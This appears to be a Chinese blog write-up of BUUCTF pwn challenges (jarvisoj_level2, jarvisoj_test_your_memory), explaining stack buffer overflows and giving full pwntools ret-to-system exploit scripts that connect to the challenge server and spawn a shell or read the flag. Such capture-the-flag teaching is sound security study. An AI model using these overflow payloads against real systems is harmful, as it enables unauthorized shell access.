buuctf pwn wp(第二波)花哨点的AAAA系列

15 篇文章 0 订阅

这里是一个总的分类,一个类型的第一道题目会详细介绍,后面的类型相同的会简略介绍(不过这是第二波,额还是很简单的,原理可以看我前面的文章,后面难一点的题目我再讲原理。)
这一波题都是带点花哨的AAAA,(其实也就是没有直接给你,例如存放在.data段上)
另外声明,脚本有些来自于网络上(太简单的不想多看,太难的不会,除了中间那一档的也没哪些脚本是自己写的),但是我做了有一会儿了(这篇文章是我把当初做了时的记录素材拿过来写的),所以有些脚本拿的谁的我给忘了(不过这么简单的脚本应该没有大佬介意)等到后面稍微难一点的题目接近我现在的时间线,一般都是标注是参考谁的wp的

jarvisoj_level2

https://blog.csdn.net/qq_43394612/article/details/85407917

main函数,没什么东西,直接点进vulnerable这个函数
在这里插入图片描述
然后看到一个read函数的漏洞
在这里插入图片描述
然后我们查找字符串发现了system 和/bin/sh
在这里插入图片描述
但是遗憾的是并没有这么一个函数,而是存在于.data段上,这个段我们用来存储数据,其实同样是可以调用的
在这里插入图片描述
而且虽然找到了system,但是里面是一个command,这代表这这是系统本身的调用,我们无法直接使用
在这里插入图片描述
那么我们如何拿到flag呢
我们可以看到这个.data数据的位置在0x0804A024,然后我们去查看十六进制字符串
在这里插入图片描述
寻找0804A024这个位置,发现果然在这里有一串/bin/sh,而这里是可以调用的,而位置就是0x0804A024

在这里插入图片描述
所以脚本如下
这是不使用ELF的方法

from pwn import*

elf=ELF("./level2")

a=remote("node3.buuoj.cn","25018")

a.recvuntil("Input:\n")

payload='A'*140+p32(0x08048320)+p32(0x1)+p32(0x0804A024)				##这里的0x1同样可以写成0xdeadbeef,作用为补完字节为8字节

a.send(payload)

a.interactive()

这是使用ELF的方法,主要目的是通过对比体现ELF模块的用法

from pwn import*

elf=ELF("./level2")

a=remote("node3.buuoj.cn","25018")
a.recvuntil("Input:\n")

system_addr=elf.symbols["system"]															##elf.symbols["system"]调用函数system

shell_addr=next(elf.search("/bin/sh"))															##next(elf.search("/bin/sh"))	调用字符串/bin/sh

payload='A'*140+p32(system_addr)+p32(0x1)+p32(shell_addr)					##可以看到我们如果使用ELF片段,就可以不用自己输入地址了

a.send(payload)

a.interactive()

jarvisoj_test_your_memory

https://www.cnblogs.com/luoleqi/p/12385335.html
先看main函数,没什么东西
在这里插入图片描述
然后点进mem_test这个函数,发现scanf有漏洞
在这里插入图片描述
看看s里面需要多少个字符串才能溢出
在这里插入图片描述
可以看到system和cat flag
在这里插入图片描述
可以看到跟上题一样在rodata段
在这里插入图片描述
system同样里面是command
在这里插入图片描述
思路跟上一题一样,所以不赘述了,直接贴脚本

from pwn import *

io =remote('node3.buuoj.cn',25430)


system_plt = 0x8048440
cat_flag = 0x80487e0

payload = 'a' * 23 + p32(system_plt) + p32(0x8048677) + p32(cat_flag)			##需要介绍的是0x8048677同样是填充字符的作用,其实更换任何一个16进制的字符串都是一样的,例如0x8048611
io.sendline(payload)

io.interactive()

ez_pz_hackover_2016

https://blog.csdn.net/qinying001/article/details/104406550/

ciscn_2019_n_8

https://blog.csdn.net/qinying001/article/details/104152797

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值